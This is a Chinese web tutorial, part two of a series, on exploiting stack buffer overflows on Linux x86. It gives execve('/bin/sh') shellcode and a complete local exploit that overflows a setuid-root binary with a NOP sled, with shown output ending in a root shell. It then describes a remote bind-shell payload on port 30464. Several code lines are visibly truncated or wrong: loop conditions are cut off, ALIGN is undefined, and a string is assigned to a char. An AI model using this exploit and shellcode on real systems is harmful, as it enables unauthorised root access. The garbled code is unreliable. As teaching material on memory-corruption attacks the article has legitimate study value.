科技行者

行者学院 转型私董会 科技行者专题报道 网红大战科技行者

知识库

知识库 安全导航

至顶网安全频道堆栈溢出技术从入门到高深(二)

堆栈溢出技术从入门到高深(二)

  • 扫一扫
    分享文章到微信

  • 扫一扫
    关注官方公众号
    至顶头条

继续我们上一次的话题,在上一篇文章我,我提到了如何实现一个Shellcode,本次我们将利用堆栈溢出来获得shell……

作者:谐和 来源:论坛整理 2008年10月13日

关键字: 堆栈溢出技术 安全策略

  • 评论
  • 分享微博
  • 分享邮件

在本页阅读全文(共3页)

  继续我们上一次的话题,在上一篇文章我,我提到了如何实现一个Shellcode,本次我们将利用堆栈溢出来获得shell。

  利用堆栈溢出获得shell

  现在我们已经制造了一次堆栈溢出,写好了一个shellcode。准备工作都已经作完,我们把二者结合起来,就写出一个利用堆栈溢出获得shell的程序。

  char shellcode[] =

  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"

  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"

  "\x80\xe8\xdc\xff\xff\xff/bin/sh"

  char large_string[128];

  void main() {

  char buffer[96];

  int i;

  long *long_ptr = (long *) large_string;

  for (i = 0; i < 32; i++)

  *(long_ptr + i) = (int) buffer;

  for (i = 0; i < strlen(shellcode); i++)

  large_string[i] = shellcode[i];

  strcpy(buffer,large_string);

  }

  利用堆栈溢出获得shell

  现在让我们进入最刺激的一讲,利用别人的程序的堆栈溢出获得rootshell。我们将面对一个有strcpy堆栈溢出漏洞的程序,利用前面说过的方法来得到shell。

  回想一下前面所讲,我们通过一个shellcode数组来存放shellcode,利用程序中的strcpy函数,把shellcode放到了程序的堆栈之中;我们制造了数组越界,用shellcode的开始地址覆盖了程序(overflow.c)的返回地址,程序在返回的时候就会去执行我们的shellcode,从而我们得到了一个shell。

  当我们面对别人写的程序时,为了让他执行我们的shellcode,同样必须作这两件事:

  1:把我们的shellcode提供给他,让他可以访问shellcode。

  2:修改他的返回地址为shellcode的入口地址。

  为了做到这两条,我们必须知道他的strcpy(buffer,ourshellcode)中,buffer的地址。因为当我们把shellcode提供给strcpy之后,buffer的开始地址就是shellcode的开始地址,我们必须用这个地址来覆盖堆栈才成。这一点大家一定要明确。

  我们知道,对于操作系统来说,一个shell下的每一个程序的堆栈段开始地址都是相同的。我们可以写一个程序,获得运行时的堆栈起始地址,这样,我们就知道了目标程序堆栈的开始地址。

  下面这个函数,用eax返回当前程序的堆栈指针。(所有C函数的返回值都放在eax寄存器里面)

  unsigned long get_sp(void) {

  __asm__("movl %esp,%eax");

  }

  我们在知道了堆栈开始地址后,buffer相对于堆栈开始地址的偏移,是他程序员自己写出来的程序决定的,我们不知道,只能靠猜测了。不过,一般的程序堆栈大约是几K左右。所以,这个buffer与上面得到的堆栈地址,相差就在几K之间。

  前面我们用来覆盖堆栈的溢出字符串为:

  SSSSSSSSSSSSAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

  现在,为了提高命中率,我们对他进行如下改进:

  用来溢出的字符串变为:

  NNNNNNNNNNNNNNNNSSSSSSSSSSSSSSSAAAAAAAAAAAAAAAAAAA

  其中:

  N为NOP.NOP指令意思是什么都不作,跳过一个CPU指令周期。在intel机器上,NOP指令的机器码为0x90。

  S为shellcode。

  A为我们猜测的buffer的地址。这样,A猜大了也可以落在N上,并且最终会执行到S.

  这个改进大大提高了猜测的命中率,有时几乎可以一次命中。

  枯燥的算法分析完,下面就是利用./vulnerable1的堆栈溢出漏洞来得到shell的程序:

  #include

  #include

  #define OFFSET 0

  #define RET_POSITION 1024

  #define RANGE 20

  #define NOP 0x90

  char shellcode[]=

  "\xeb\x1f" /* jmp 0x1f */

  "\x5e" /* popl %esi */

  "\x89\x76\x08" /* movl %esi,0x8(%esi) */

  "\x31\xc0" /* xorl %eax,%eax */

  "\x88\x46\x07" /* movb %eax,0x7(%esi) */

  "\x89\x46\x0c" /* movl %eax,0xc(%esi) */

  "\xb0\x0b" /* movb $0xb,%al */

  "\x89\xf3" /* movl %esi,%ebx */

  "\x8d\x4e\x08" /* leal 0x8(%esi),%ecx */

  "\x8d\x56\x0c" /* leal 0xc(%esi),%edx */

  "\xcd\x80" /* int $0x80 */

  "\x31\xdb" /* xorl %ebx,%ebx */

  "\x89\xd8" /* movl %ebx,%eax */

  "\x40" /* inc %eax */

  "\xcd\x80" /* int $0x80 */

  "\xe8\xdc\xff\xff\xff" /* call -0x24 */

  "/bin/sh" /* .string \"/bin/sh\" */

  unsigned long get_sp(void)

  {

  __asm__("movl %esp,%eax");

  }

  main(int argc,char **argv)

  {

  char buff[RET_POSITION+RANGE+1],*ptr;

  long addr;

  unsigned long sp;

  int offset=OFFSET,bsize=RET_POSITION+RANGE+ALIGN+1;

  int i;

  if(argc>1)

  offset=atoi(argv[1]);

  sp=get_sp();

  addr=sp-offset;

  for(i=0;i

  *((long *)&(buff[i]))=addr;

  for(i=0;i

  buff[i]=NOP;

  ptr=buff+bsize-RANGE*2-strlen(shellcode)-1;

  for(i=0;i

  *(ptr++)=shellcode[i];

  buff[bsize-1]="\0"

  //现在buff的内容为

  //NNNNNNNNNNNNNNNSSSSSSSSSSSSSSSAAAAAAAAAAAAAAAAAAA\0

  printf("Jump to 0x%08x\n",addr);

  execl("./vulnerable1","vulnerable1",buff,0);

  }

  execl用来执行目标程序./vulnerable1,buff是我们精心制作的溢出字符串,作为./vulnerable1的参数提供。

  以下是执行的结果:

  [nkl10]$Content$nbsp;ls -l vulnerable1

  -rwsr-xr-x 1 root root xxxx jan 10 16:19 vulnerable1*

  [nkl10]$Content$nbsp;ls -l exploit1

  -rwxr-xr-x 1 ipxodi cinip xxxx Oct 18 13:20 exploit1*

  [nkl10]$Content$nbsp;./exploit1

  Jump to 0xbfffec64

  Segmentation fault

  [nkl10]$Content$nbsp;./exploit1 500

  Jump to 0xbfffea70

  bash# whoami

  root

  bash#

  这样就获得了root shell。

  下面我们将探讨shellcode的书写。

  远程堆栈溢出

  我们用堆栈溢出攻击守护进程daemon时,原理和前面提到过的本地攻击是相同的。我们必须提供给目标daemon一个溢出字符串,里面包含了shellcode。希望敌人在复制(或者别的串处理操作)这个串的时候发生堆栈溢出,从而执行我们的shellcode。

  普通的shellcode将启动一个子进程执行sh,自己退出。对于我们这些远程的攻击者来说,由于我们不在本地,这个sh我们并没有得到。因此,对于远程使用者,我们传过去的shellcode就必须负担起打开一个socket,然后listen我们的连接,给我们一个远程shell的责任。

  如何开一个远程shell呢?我们先申请一个socketfd,使用30464作为这个socket连接的端口,bind他,然后在这个端口上等待连接listen。当有连接进来后,开一个子shell,把连接的clientfd作为子shell的stdin,stdout,stderr。这样,我们远程的使用者就有了一个远程shell(跟telnet一样啦)。

    • 评论
    • 分享微博
    • 分享邮件
    邮件订阅

    如果您非常迫切的想了解IT领域最新产品与技术信息,那么订阅至顶网技术邮件将是您的最佳途径之一。

    重磅专题
    往期文章
    最新文章